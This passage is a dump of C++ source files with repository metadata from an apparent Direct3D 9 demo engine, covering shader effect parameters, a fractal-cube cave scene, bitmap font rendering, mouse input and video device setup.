INVALID_TECHNIQUE = 0xFFFFFFFF;\r\n\r\nprivate:\r\n\tvoid setUpAutoParams();\r\n\r\n\tID3DXEffect* effect;\r\n\tEffectParamsPtr auto_params;\r\n\tD3DDevicePtr device;\r\n};\r\n\r\ntypedef boost::shared_ptr<Effect> EffectPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.5947786569595337, "alphanum_fraction": 0.6591941118240356, "avg_line_length": 36.10810852050781, "blob_id": "b5ceb8f1749e1ea2762c672da2bd70b938fd4c56", "content_id": "a59e7449e10b9c4475e498ebfece1e17c2a69186", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7048, "license_type": "no_license", "max_line_length": 148, "num_lines": 185, "path": "/apps/Delirium/Cave.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Cave.h\"\r\n\r\n#include \"Filesystem.h\"\r\n\r\nCave::Cave(Cvekas::RendererPtr renderer, Cvekas::VectorBatchPtr vector_batch)\r\n: renderer(renderer), vector_batch(vector_batch), \r\n camera(Vector3(0.0f, 0.0f, -0.0f), Vector3(0.0f, 0.0f, 0.0f), Vector3(0.0f, 1.0f, 0.0f))\r\n{\r\n}\r\n\r\nCave::~Cave()\r\n{\r\n}\r\n\r\nvoid Cave::init(boost::weak_ptr<Demo> owner)\r\n{\r\n\tthis->owner = owner;\r\n\r\n\tMeshPtr cave_mesh = MeshPtr(new Mesh(Filesystem::redirect(\"FractalSphere.cmf\")));\r\n\tEffectPtr cave_effect = video_device->getEffectManager()->load(\"Cave\", Filesystem::redirect(\"Cave.fx\"));\r\n\tcave_effect->getAutoParams()->addDynamic(\"light_color\", &light_color);\r\n\tcave_effect->getAutoParams()->addDynamic(\"light_pos\", &light_pos);\r\n\tcave_effect->getAutoParams()->addDynamic(\"light_attenuation\", &light_attenuation);\r\n\tlight_color = Vector3(0.41f, 0.42f, 0.43f);\r\n\tcave = RenderableMeshPtr(new RenderableMesh(cave_mesh, cave_effect, EffectParamsPtr(), 1));\r\n\r\n\tMeshPtr cube_mesh = MeshPtr(new Mesh(Filesystem::redirect(\"Cube.cmf\")));\r\n\tcube_effect = video_device->getEffectManager()->load(\"Cube\", Filesystem::redirect(\"Cube.fx\"));\r\n\tcubes_light_pos = cube_effect->getParamByName(\"light_pos\");\r\n\tcubes_light_color = cube_effect->getParamByName(\"light_color\");\r\n\tcubes_light_attenuation = cube_effect->getParamByName(\"light_attenuation\");\r\n\r\n\tfor(uint i = 0; i < cube_count; ++i)\r\n\t{\r\n\t\tcubes[i] = RenderableMeshPtr(new RenderableMesh(cube_mesh, cube_effect, EffectParamsPtr(), 0));\r\n\t}\r\n\r\n\tcube_size = 0.5f;\r\n\tcube_size_ratio = 1.0f;\r\n\tcube_distance = 0.0f;\r\n\tcube_distance_ratio = 1.0f;\r\n\tcube_rotation = Vector3(0.0f, 0.0f, 0.0f);\r\n\tcube_rotation_delta = Vector3(0.0f, 0.0f, 0.0f);\r\n\r\n\tfullscreen_rect.push_back(Vector2(0.0f, 0.0f));\r\n\tfullscreen_rect.push_back(Vector2(1024.0f, 0.0f));\r\n\tfullscreen_rect.push_back(Vector2(1024.0f, 576.0f));\r\n\tfullscreen_rect.push_back(Vector2(0.0f, 576.0f));\r\n}\r\n\r\nvoid Cave::cubeFractal(const Vector3& pos, float cube_size, float cube_size_ratio, float cube_distance, \r\n\t\t\t\t\t float cube_distance_ratio, const Vector3& cube_rotation, const Vector3& cube_rotation_delta, \r\n\t\t\t\t\t int depth)\r\n{\r\n\tif(depth == 0)\r\n\t\treturn;\r\n\r\n\tcubes[cube_idx]->setPosition(pos);\r\n\tcubes[cube_idx]->setScale(Vector3(cube_size, cube_size, cube_size));\r\n\tcubes[cube_idx]->setRotation(cube_rotation);\r\n\tcube_idx++;\r\n\r\n\tVector3 vec1(0.0f, 0.0f, cube_distance);\r\n\tVector3 vec2(0.0f, 0.0f, -cube_distance);\r\n\tVector3 vec3(0.0f, cube_distance, 0.0f);\r\n\tVector3 vec4(0.0f, -cube_distance, 0.0f);\r\n\tVector3 vec5(cube_distance, 0.0f, 0.0f);\r\n\tVector3 vec6(-cube_distance, 0.0f, 0.0f);\r\n\r\n\tcubeFractal(pos + vec1, cube_size * cube_size_ratio, cube_size_ratio, cube_distance * cube_distance_ratio,\r\n\t\tcube_distance_ratio, cube_rotation + cube_rotation_delta, cube_rotation_delta, depth - 1);\r\n\tcubeFractal(pos + vec2, cube_size * cube_size_ratio, cube_size_ratio, cube_distance * cube_distance_ratio,\r\n\t\tcube_distance_ratio, cube_rotation + cube_rotation_delta, cube_rotation_delta, depth - 1);\r\n\tcubeFractal(pos + vec3, cube_size * cube_size_ratio, cube_size_ratio, cube_distance * cube_distance_ratio,\r\n\t\tcube_distance_ratio, cube_rotation + cube_rotation_delta, cube_rotation_delta, depth - 1);\r\n\tcubeFractal(pos + vec4, cube_size * cube_size_ratio, cube_size_ratio, cube_distance * cube_distance_ratio,\r\n\t\tcube_distance_ratio, cube_rotation + cube_rotation_delta, cube_rotation_delta, depth - 1);\r\n\tcubeFractal(pos + vec5, cube_size * cube_size_ratio, cube_size_ratio, cube_distance * cube_distance_ratio,\r\n\t\tcube_distance_ratio, cube_rotation + cube_rotation_delta, cube_rotation_delta, depth - 1);\r\n\tcubeFractal(pos + vec6, cube_size * cube_size_ratio, cube_size_ratio, cube_distance * cube_distance_ratio,\r\n\t\tcube_distance_ratio, cube_rotation + cube_rotation_delta, cube_rotation_delta, depth - 1);\r\n}\r\n\r\nvoid Cave::close()\r\n{\r\n}\r\n\r\nvoid Cave::update(float t)\r\n{\r\n\tif(t <= 15.9f)\r\n\t{\r\n\t\tlight_attenuation = smoothstep(1.0f, 0.014f, transformT(11.0f, 12.8f, t));\r\n\r\n\t\tcube_size = smoothstep(0.0f, 0.3f, transformT(13.5f, 14.7f, t));\r\n\t\tcube_distance = smoothstep(0.0f, 0.6f, transformT(15.0f, 15.9f, t));\r\n\t}\r\n\tif(t >= 15.9f && t <= 22.4f)\r\n\t{\r\n\t\tcube_size_ratio = smoothstep(1.0f, 0.6f, transformT(17.6f, 17.95f, t));\r\n\t\tcube_distance_ratio = smoothstep(1.0f, 0.40f, transformT(18.7f, 19.4f, t));\r\n\t\tcube_distance = smoothstep(0.6f, 1.3f, transformT(18.7f, 19.4f, t));\r\n\r\n\t\tcube_rotation_delta.x = smoothstep(0.0f, pi / 4.0f, transformT(20.0f, 20.7f, t));\r\n\t\tcube_rotation_delta.y = smoothstep(0.0f, pi / 4.0f, transformT(20.7f, 21.5f, t));\r\n\t\tcube_rotation_delta.z = smoothstep(0.0f, pi / 4.0f, transformT(21.55f, 22.4f, t));\r\n\t}\r\n\tif(t >= 22.5f && t <= 24.9f)\r\n\t{\r\n\t\tcube_rotation_delta.x = smoothstep(pi / 4.0f, 0.0f, transformT(22.55f, 23.2f, t));\r\n\t\tcube_rotation_delta.y = smoothstep(pi / 4.0f, 0.0f, transformT(23.2f, 24.0f, t));\r\n\t\tcube_rotation_delta.z = smoothstep(pi / 4.0f, 0.0f, transformT(24.05f, 24.90f, t));\r\n\t}\r\n\r\n\tif(t >= 25.0f)\r\n\t{\r\n\t\tcube_rotation.x = cube_rotation.y = cube_rotation.x = smoothstep(0.0f, pi / 4.0f, transformT(25.0f, 25.7f, t));\r\n\t\tcube_size = smoothstep(0.3f, 0.15f, transformT(25.7f, 26.6f, t));\r\n\t\tcube_distance = smoothstep(1.3f, 0.8f, transformT(26.6f, 27.5f, t));\r\n\t}\r\n\r\n\tlight_pos = Vector3(3.0f, 3.0f, 3.0f);\r\n\t//if(t >= 28.0f)\r\n\t//{\r\n\t\tlight_pos.y = smoothstep(3.0f, -3.0f, transformT(14.05f, 29.8f, t));\r\n\t//}\r\n\r\n\tif(t >= 35.0f)\r\n\t{\r\n\t\tlight_attenuation = smoothstep(0.014f, 0.00001f, transformT(36.0f, 39.0f, t));\r\n\t\tfloat alpha = smoothstep(0.0f, 1.0f, transformT(38.5f, 39.2f, t));\r\n\t\tColor c(255, 255, 255, (int)(alpha * 255.0f));\r\n\t\tvector_batch->drawPolygon(2, fullscreen_rect, c);\r\n\t}\r\n\r\n\tlight_pos.x += sin(t*3.4f) * 0.8f;\r\n\tlight_pos.y += cos(t*3.7f) * 0.6f;\r\n\tlight_pos.z += sin(t*3.2f) * 0.6f;\r\n\t\r\n\tVector3 camera_pos = Vector3(-sin(t/4.1f) * 2.0f + cos(t/2.9f) * 2.0f, -cos(t/6.5f) * 2.0f, -sin(t/6.2f) * cos(t/5.7f));\r\n\tcamera.setPosition(camera_pos);\r\n\tcamera.setDirection(-camera_pos);\r\n\r\n\tcube_idx = 0;\r\n\tcubeFractal(Vector3(sin(t/1.8f) / 12.0f, cos(t/2.0f) / 10.5f, cos(t/2.5f) / 11.2f), cube_size, cube_size_ratio, cube_distance, cube_distance_ratio,\r\n\t\tcube_rotation, cube_rotation_delta, cube_depth);\r\n}\t\r\n\r\nvoid Cave::render(float t)\r\n{\r\n\tVector3 cubes_color(0.5f, 0.4f, 0.3f);\r\n\tcube_effect->setParamValue(cubes_light_pos, (void*)&light_pos, 12);\r\n\tcube_effect->setParamValue(cubes_light_color, (void*)&cubes_color, 12);\r\n\tcube_effect->setParamValue(cubes_light_attenuation, light_attenuation * 2.0f);\r\n\t\r\n\tvideo_device->getRenderingParams().setCamera(camera);\r\n\r\n\tvideo_device->setClearColor(Color(0, 0, 0));\r\n\r\n\tvideo_device->beginScene();\r\n\trenderer->prepare(*cave);\r\n\tif(t < 15.0f)\r\n\t\trenderer->prepare(*cubes[0]);\r\n\telse\r\n\t{\r\n\t\tif(t < 17.6f)\r\n\t\t{\r\n\t\t\tfor(uint i = 1; i < cube_count; ++i)\r\n\t\t\t{\r\n\t\t\t\tif(i%8 != 0)\r\n\t\t\t\t\trenderer->prepare(*cubes[i]);\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tfor(uint i = 0; i < cube_count; ++i)\r\n\t\t\t\trenderer->prepare(*cubes[i]);\r\n\t\t}\r\n\t}\r\n\tvector_batch->present();\r\n\trenderer->render();\r\n\tvideo_device->endScene();\r\n\r\n\trenderer->endFrame();\r\n}" }, { "alpha_fraction": 0.7066702842712402, "alphanum_fraction": 0.7124111652374268, "avg_line_length": 26.59375, "blob_id": "51bc7b2e3cf664fdea7c75f586b05667eb7c0148", "content_id": "2a6fc01070fb6966908331152509a927128df540", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3658, "license_type": "no_license", "max_line_length": 75, "num_lines": 128, "path": "/source/EffectParams.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef EFFECT_PARAMS_H\r\n#define EFFECT_PARAMS_H\r\n\r\n#include \"Vector2.h\"\r\n#include \"Vector3.h\"\r\n#include \"Vector4.h\"\r\n#include \"Matrix.h\"\r\n#include \"BaseTexture.h\"\r\n#include \"CommonTypes.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nclass Effect;\r\n\r\n/// Provides easy way to set parameters used by Effect\r\nclass EffectParams : public boost::noncopyable\r\n{\r\npublic:\r\n\t/// Constructor. \r\n\t/// Rule of using smart pointers everywhere is broken here, because Effect\r\n\t/// needs to construct EffectParams instance in its constructor.\r\n\tEffectParams(Effect* owner);\r\n\t~EffectParams();\r\n\r\n\tvoid add(const std::string& name, float value);\r\n\tvoid add(const std::string& name, int value);\r\n\tvoid add(const std::string& name, bool value);\r\n\tvoid add(const std::string& name, const Vector2& value);\r\n\tvoid add(const std::string& name, const Vector3& value);\r\n\tvoid add(const std::string& name, const Vector4& value);\r\n\tvoid add(const std::string& name, const Matrix& value);\r\n\tvoid add(const std::string& name, TexturePtr value);\r\n\r\n\tvoid add(ParamHandle handle, float value);\r\n\tvoid add(ParamHandle handle, int value);\r\n\tvoid add(ParamHandle handle, bool value);\r\n\tvoid add(ParamHandle handle, const Vector2& value);\r\n\tvoid add(ParamHandle handle, const Vector3& value);\r\n\tvoid add(ParamHandle handle, const Vector4& value);\r\n\tvoid add(ParamHandle handle, const Matrix& value);\r\n\tvoid add(ParamHandle handle, TexturePtr value);\r\n\r\n\tvoid addDynamic(const std::string& name, const float* value);\r\n\tvoid addDynamic(const std::string& name, const int* value);\r\n\tvoid addDynamic(const std::string& name, const bool* value);\r\n\tvoid addDynamic(const std::string& name, const Vector2* value);\r\n\tvoid addDynamic(const std::string& name, const Vector3* value);\r\n\tvoid addDynamic(const std::string& name, const Vector4* value);\r\n\tvoid addDynamic(const std::string& name, const Matrix* value);\r\n\tvoid addDynamic(const std::string& name, const TexturePtr* value);\r\n\r\n\tvoid addDynamic(ParamHandle handle, const float* value);\r\n\tvoid addDynamic(ParamHandle handle, const int* value);\r\n\tvoid addDynamic(ParamHandle handle, const bool* value);\r\n\tvoid addDynamic(ParamHandle handle, const Vector2* value);\r\n\tvoid addDynamic(ParamHandle handle, const Vector3* value);\r\n\tvoid addDynamic(ParamHandle handle, const Vector4* value);\r\n\tvoid addDynamic(ParamHandle handle, const Matrix* value);\r\n\tvoid addDynamic(ParamHandle handle, const TexturePtr* value);\r\n\r\n\tvoid applyParams();\r\n\r\nprivate:\r\n\t\r\n\tunion DWordValue\r\n\t{\r\n\t\tfloat float_val;\r\n\t\tint int_val;\r\n\t\tbool bool_val;\r\n\t};\r\n\r\n\tstruct PtrValue\r\n\t{\r\n\t\tconst void* ptr;\r\n\t\tuint size;\r\n\t};\r\n\r\n\ttemplate <typename T>\r\n\tstruct Param\r\n\t{\r\n\t\tParamHandle handle;\r\n\t\tT value;\r\n\t};\r\n\r\n\tstd::vector<Param<DWordValue> > dword_params;\r\n\tstd::vector<Param<Vector2> > vector2_params;\r\n\tstd::vector<Param<Vector3> > vector3_params;\r\n\tstd::vector<Param<Vector4> > vector4_params;\r\n\tstd::vector<Param<Matrix> > matrix_params;\r\n\tstd::vector<Param<TexturePtr> > texture_params;\r\n\tstd::vector<Param<PtrValue> > ptr_params;\r\n\tstd::vector<Param<const TexturePtr*> > texture_ptr_params;\r\n\r\n\tEffect* owner;\r\n\r\n\tvoid checkParam(ParamHandle param);\r\n\t\r\n\ttemplate <typename T>\r\n\tParam<T> constructParam(ParamHandle handle)\r\n\t{\r\n\t\tcheckParam(handle);\r\n\t\tassert(handle);\r\n\r\n\t\tParam<T> result;\r\n\t\tresult.handle = handle;\r\n\r\n\t\treturn result;\r\n\t}\r\n\r\n\ttemplate <typename T>\r\n\tParam<T> constructParam(const std::string& name)\r\n\t{\r\n\t\tParamHandle handle = owner->getParamByName(name);\r\n\t\tassert(handle);\r\n\t\tcheckParam(handle);\r\n\t\t\r\n\t\tParam<T> result;\r\n\t\tresult.handle = handle;\r\n\r\n\t\treturn result;\r\n\t}\r\n};\r\n\r\ntypedef boost::shared_ptr<EffectParams> EffectParamsPtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.7023086547851562, "alphanum_fraction": 0.7168894410133362, "avg_line_length": 20.29729652404785, "blob_id": "937f2c9218eb2f5b519fff0031545e0757cf9bc7", "content_id": "af6f8d3ce2da9e452cbed656135937c0da637793", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 823, "license_type": "no_license", "max_line_length": 89, "num_lines": 37, "path": "/source/CommonTypes.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef VIDEO_TYPES_H\r\n#define VIDEO_TYPES_H\r\n\r\nnamespace Cvekas {\r\n\r\n/// Handle of Effect parameter\r\ntypedef D3DXHANDLE ParamHandle;\r\n/// Handle of Effect technique\r\ntypedef D3DXHANDLE TechniqueHandle;\r\n\r\n/// Pointer type for IDirect3D9 interface\r\ntypedef boost::intrusive_ptr<IDirect3D9> D3DPtr;\r\n/// Pointer type for IDirect3DDevice9 interface\r\ntypedef boost::intrusive_ptr<IDirect3DDevice9> D3DDevicePtr;\r\n\r\n/// Represents locked texture\r\nstruct LockedTexture\r\n{\r\n\t/// Texture pitch in bytes.\r\n\t/// Note that this isn't size of locked data! You must calculate it yourself if needed. \r\n\tint pitch;\r\n\t/// Pointer to loced data\r\n\tvoid* data;\r\n};\r\n\r\n/// Represents locked gpu buffer\r\nstruct LockedBuffer\r\n{\r\n\t/// Size of buffer in bytes\r\n\tint size;\r\n\t/// Pointer to locked data\r\n\tvoid* data;\r\n};\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6228101253509521, "alphanum_fraction": 0.6315695643424988, "avg_line_length": 26.99481773376465, "blob_id": "ea27ba61fd259c5de087207a657364b66d18578b", "content_id": "eeb3e6b249514d377857e064a5a3eb5b9c329a77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5594, "license_type": "no_license", "max_line_length": 124, "num_lines": 193, "path": "/source/BitmapFont.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"BitmapFont.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Filesystem.h\"\r\n#include \"MML.h\"\r\n#include \"Timer.h\"\r\n#include \"Engine.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nBitmapFont::BitmapFont(SpriteBatchPtr sprite_batch, const std::string& filename, uint layer)\r\n: sprite_batch(sprite_batch), layer(layer)\r\n{\r\n\tLOG(FORMAT(\"Loading font file %s\", % filename));\r\n\r\n\tEngine e;\r\n\tTextureManagerPtr texture_manager = e.getVideoDevice()->getTextureManager();\r\n\r\n\tmemset(&desc, 0, sizeof(desc));\r\n\r\n\tTimeStamp t1 = Timer::getTimeStamp();\r\n\tMML font(Filesystem::readFileToString(filename));\r\n\tMMLNode& root = font.getRoot();\r\n\tTimeStamp t2 = Timer::getTimeStamp();\r\n\r\n\tint time = (t2-t1).toMiliSec();\r\n\tLOG(FORMAT(\"Parsed mml file in %d miliseconds\", % time));\r\n\t\r\n\tif(root.name != \"font\")\r\n\t\tthrow EXCEPTION(\"Root node must be named font\");\r\n\tif(root.children.size() != 3)\r\n\t\tthrow EXCEPTION(\"Root must have exactly 3 childs\");\r\n\r\n\tdesc.line_height = boost::lexical_cast<float>(root.getChild(\"height\").value);\r\n\r\n\t// TODO: remove file extension from resource name\r\n\tstd::string texture_filename = root.getChild(\"texture\").value;\r\n\tdesc.font_texture = texture_manager->loadTexture2D(texture_filename, Filesystem::redirect(texture_filename));\r\n\r\n\tMMLNode& chars = root.getChild(\"chars\");\r\n\tstd::list<MMLNode>::iterator itr = chars.children.begin();\r\n\tfor(; itr != chars.children.end(); ++itr)\r\n\t{\r\n\t\tMMLNode& chr = *itr; \r\n\t\tint id = boost::lexical_cast<int>(chr.value);\r\n\t\tassert(id > 0 && id < 256);\r\n\r\n\t\tdesc.chars[id].source.x = boost::lexical_cast<float>(chr.getChild(\"x\").value);\r\n\t\tdesc.chars[id].source.y = boost::lexical_cast<float>(chr.getChild(\"y\").value);\r\n\t\tdesc.chars[id].source.width = boost::lexical_cast<float>(chr.getChild(\"w\").value);\r\n\t\tdesc.chars[id].source.height = boost::lexical_cast<float>(chr.getChild(\"h\").value);\r\n\t\tdesc.chars[id].x_offset = boost::lexical_cast<float>(chr.getChild(\"xoff\").value);\r\n\t\tdesc.chars[id].y_offset = boost::lexical_cast<float>(chr.getChild(\"yoff\").value);\r\n\t\tdesc.chars[id].x_advance = boost::lexical_cast<float>(chr.getChild(\"xadv\").value);\r\n\t}\r\n}\r\n\r\nBitmapFont::BitmapFont(Cvekas::SpriteBatchPtr sprite_batch, const Cvekas::BitmapFontDesc &desc, uint layer)\r\n: sprite_batch(sprite_batch), layer(layer)\r\n{\r\n\tthis->desc = desc;\r\n}\r\n\r\nBitmapFont::~BitmapFont()\r\n{\r\n}\r\n\r\nvoid BitmapFont::draw(const Vector2& position, const std::string& text, const Color& color)\r\n{\r\n\tVector2 cursor = position;\r\n\tfor(uint i = 0; i < text.size(); ++i)\r\n\t{\r\n\t\tif(byte(text[i]) < 32)\r\n\t\t\tcontinue;\r\n\t\tif(desc.chars[byte(text[i])].source.width == 0.0f || desc.chars[byte(text[i])].source.height == 0.0f)\r\n\t\t{\r\n\t\t\tcursor.x += desc.chars[byte(text[i])].x_advance;\r\n\t\t\tcontinue;\r\n\t\t}\r\n\r\n\t\tVector2 pos = cursor;\r\n\t\tpos.x += desc.chars[byte(text[i])].x_offset;\r\n\t\tpos.y += desc.chars[byte(text[i])].y_offset;\r\n\r\n\t\tsprite_batch->draw(desc.font_texture, layer, desc.chars[byte(text[i])].source, pos, color);\r\n\r\n\t\tcursor.x += desc.chars[byte(text[i])].x_advance;\r\n\t}\r\n}\r\n\r\nvoid BitmapFont::drawScaled(const Vector2& center_position, float scale, const std::string& text, const Color& color)\r\n{\r\n\tfloat width = getWidth(text) * scale;\r\n\tfloat height = desc.line_height * scale;\r\n\r\n\tVector2 cursor = center_position;\r\n\tcursor.x -= width / 2.0f;\r\n\tcursor.y -= height / 2.0f;\r\n\r\n\tfor(uint i = 0; i < text.size(); ++i)\r\n\t{\r\n\t\tif(byte(text[i]) < 32)\r\n\t\t\tcontinue;\r\n\r\n\t\t// Skip non-initialized chars\r\n\t\tif(desc.chars[byte(text[i])].source.width == 0.0f)\r\n\t\t\tcontinue;\r\n\r\n\t\tfloat pos_x = cursor.x + desc.chars[byte(text[i])].x_offset * scale;\r\n\t\tfloat pos_y = cursor.y + desc.chars[byte(text[i])].y_offset * scale;\r\n\r\n\t\tRectF dest(pos_x, pos_y, desc.chars[byte(text[i])].source.width * scale, desc.chars[byte(text[i])].source.height * scale);\r\n\r\n\t\tsprite_batch->draw(desc.font_texture, layer, desc.chars[byte(text[i])].source, dest, color);\r\n\r\n\t\tcursor.x += desc.chars[byte(text[i])].x_advance * scale;\r\n\t}\r\n}\r\n\r\nvoid BitmapFont::drawToRect(const RectF& rect, const std::string& text, const Color& color)\r\n{\r\n\tVector2 cursor(rect.x, rect.y);\r\n\r\n\tuint i = 0;\r\n\twhile(i < text.size() && cursor.y < rect.y + rect.height)\r\n\t{\r\n\t\t// Get next word\r\n\t\tstd::string word = \"\";\r\n\t\twhile(i < text.size() && text[i] != ' ' && text[i] != '\\n' && text[i] != '\\t')\r\n\t\t{\r\n\t\t\tword += text[i++];\r\n\t\t}\r\n\t\tif(i < text.size())\r\n\t\t\tword += text[i++];\r\n\r\n\t\tfloat word_width = getWidth(word);\r\n\r\n\t\t// If word does not fit into current line...\r\n\t\tif(cursor.x + word_width > rect.x + rect.width)\r\n\t\t{\r\n\t\t\t// Begin new line\r\n\t\t\tcursor.y += desc.line_height;\r\n\t\t\tcursor.x = rect.x;\r\n\t\t}\r\n\t\t\r\n\t\t// Draw word\r\n\t\tfor(uint j = 0; j < word.size(); ++j)\r\n\t\t{\r\n\t\t\tif(byte(word[j]) < 32)\r\n\t\t\t\tcontinue;\r\n\t\t\t\r\n\t\t\t// Skip non-initialized chars\r\n\t\t\tif(desc.chars[byte(word[j])].source.width == 0.0f)\r\n\t\t\t\tcontinue;\r\n\r\n\t\t\tVector2 pos = cursor;\r\n\t\t\tpos.x += desc.chars[byte(word[j])].x_offset;\r\n\t\t\tpos.y += desc.chars[byte(word[j])].y_offset;\r\n\r\n\t\t\tsprite_batch->draw(desc.font_texture, layer, desc.chars[byte(word[j])].source, pos, color);\r\n\r\n\t\t\tcursor.x += desc.chars[byte(word[j])].x_advance;\r\n\t\t}\r\n\r\n\t\t// Begin new line if word ends with '\\n'\r\n\t\tif(word[word.size()-1] == '\\n')\r\n\t\t{\r\n\t\t\tcursor.y += desc.line_height;\r\n\t\t\tcursor.x = rect.x;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nfloat BitmapFont::getWidth(const std::string& text) const\r\n{\r\n\tfloat width = 0.0f;\r\n\r\n\tfor(uint i = 0; i < text.size(); ++i)\r\n\t{\r\n\t\tif(byte(text[i]) < 32)\r\n\t\t\tcontinue;\r\n\t\t// Skip non-initialized chars\r\n\t\tif(desc.chars[byte(text[i])].source.width == 0.0f)\r\n\t\t\tcontinue;\r\n\r\n\t\twidth += desc.chars[byte(text[i])].x_advance;\r\n\t}\r\n\r\n\treturn width;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.620757520198822, "alphanum_fraction": 0.6305952072143555, "avg_line_length": 16.66972541809082, "blob_id": "5f0cecd1ffe85fa0d71b33bd90bcdfe1b2254cf9", "content_id": "2c47f8d441c304f6000f2b8a38de2d5e5581cc51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2033, "license_type": "no_license", "max_line_length": 74, "num_lines": 109, "path": "/source/Mouse.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Mouse.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"MemUtils.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nMouse::Mouse() \r\n: v_width(0), v_height(0)\r\n{\r\n\tZeroMemory(mouse, sizeof(mouse));\r\n\tZeroMemory(mouse_current, sizeof(mouse_current));\r\n\tZeroMemory(mouse_last, sizeof(mouse_last));\r\n\r\n\tLOG(\"Mouse initialized\");\r\n}\r\n\r\nMouse::~Mouse()\r\n{\r\n\tLOG(\"Mouse destroyed\");\r\n}\r\n\r\nvoid Mouse::update()\r\n{\r\n\tmouse_pos_old = mouse_pos;\r\n\r\n\tmemcpy(mouse_last, mouse, sizeof(mouse));\r\n\tmemcpy(mouse, mouse_current, sizeof(mouse));\r\n}\r\n\r\nbool Mouse::isButtonPressed(MouseButton b) const\r\n{\r\n\treturn mouse[b];\r\n}\r\n\r\nbool Mouse::isButtonUp(MouseButton b) const\r\n{\r\n\treturn (mouse_last[b] && !mouse[b]);\r\n}\r\n\r\nbool Mouse::isButtonDown(MouseButton b) const\r\n{\r\n\treturn (!mouse_last[b] && mouse[b]);\r\n}\r\n\r\nMousePos Mouse::getAbsolutePos() const\r\n{\r\n\treturn mouse_pos;\r\n}\r\n\r\nint Mouse::getRelativeWheel() const\r\n{\r\n\treturn 0;\r\n}\r\n\r\nbool Mouse::process(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)\r\n{\r\n\tuint16 x, y;\r\n\r\n\tRECT client;\r\n\tif(!::GetClientRect(hWnd, &client))\r\n\t\tthrow EXCEPTION(\"Unable to get client rect\");\r\n\tr_width = client.right - client.left;\r\n\tr_height = client.bottom - client.top;\r\n\tif(v_width == 0 && v_height == 0)\r\n\t{\r\n\t\tv_width = r_width;\r\n\t\tv_height = r_height;\r\n\t}\r\n\r\n\tswitch(message)\r\n\t{\r\n\tcase WM_MOUSEMOVE:\r\n\t\tx = (uint16)(lParam & 0xFFFF);\r\n\t\ty = (uint16)(lParam >> 16);\r\n\t\tmouse_pos.x = (int)(((float)x / (float)r_width) * (float)v_width);\r\n\t\tmouse_pos.y = (int)(((float)y / (float)r_height) * (float)v_height);\r\n\t\tbreak;\r\n\r\n\tcase WM_LBUTTONDOWN:\r\n\t\tmouse_current[0] = true;\r\n\t\tbreak;\r\n\tcase WM_RBUTTONDOWN:\r\n\t\tmouse_current[1] = true;\r\n\t\tbreak;\r\n\tcase WM_MBUTTONDOWN:\r\n\t\tmouse_current[2] = true;\r\n\t\tbreak;\r\n\r\n\tcase WM_LBUTTONUP:\r\n\t\tmouse_current[0] = false;\r\n\t\tbreak;\r\n\tcase WM_RBUTTONUP:\r\n\t\tmouse_current[1] = false;\r\n\t\tbreak;\r\n\tcase WM_MBUTTONUP:\r\n\t\tmouse_current[2] = false;\r\n\t\tbreak;\r\n\r\n\tdefault:\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6757317781448364, "alphanum_fraction": 0.6850277185440063, "avg_line_length": 22.01900291442871, "blob_id": "4c7c303c0142e15cc6c11f0bef30f690caca1571", "content_id": "bf169058edb3ecd280da42ee8072a6dcf808b575", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10112, "license_type": "no_license", "max_line_length": 125, "num_lines": 421, "path": "/source/VideoDevice.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"VideoDevice.h\"\r\n\r\n#include \"Log.h\"\r\n#include \"Exception.h\"\r\n#include \"ErrorHandlers.h\"\r\n#include \"MemUtils.h\"\r\n#include \"Engine.h\"\r\n#include \"Timer.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nVideoDevice::VideoDevice()\r\n: clear_color(0, 0, 0, 0), switch_mode(false), in_scene_block(false), lost(false), frame_ended(false),\r\n default_rt(NULL), default_ds(NULL)\r\n{\r\n\tIDirect3D9* d3d;\r\n\t\r\n\td3d = Direct3DCreate9(D3D_SDK_VERSION);\r\n\t\r\n\tif(d3d == NULL)\r\n\t\tthrow EXCEPTION(\"Failed to create Direct3D object\");\r\n\tLOG(\"Direct3D initialized\");\r\n\tdirect3d = d3d;\r\n\t\r\n\tD3DADAPTER_IDENTIFIER9 id;\r\n\tE_E(direct3d->GetAdapterIdentifier(D3DADAPTER_DEFAULT, NULL, &id));\r\n\tLOG(FORMAT(\"Adapter description: %s\", % id.Description));\r\n\t\r\n\tint product = HIWORD(id.DriverVersion.HighPart);\r\n int version = LOWORD(id.DriverVersion.HighPart);\r\n int subversion = HIWORD(id.DriverVersion.LowPart);\r\n int build = LOWORD(id.DriverVersion.LowPart);\r\n\t\r\n\tLOG(FORMAT(\"Driver: %s %d.%d.%d.%d\", % id.Driver % product % version % 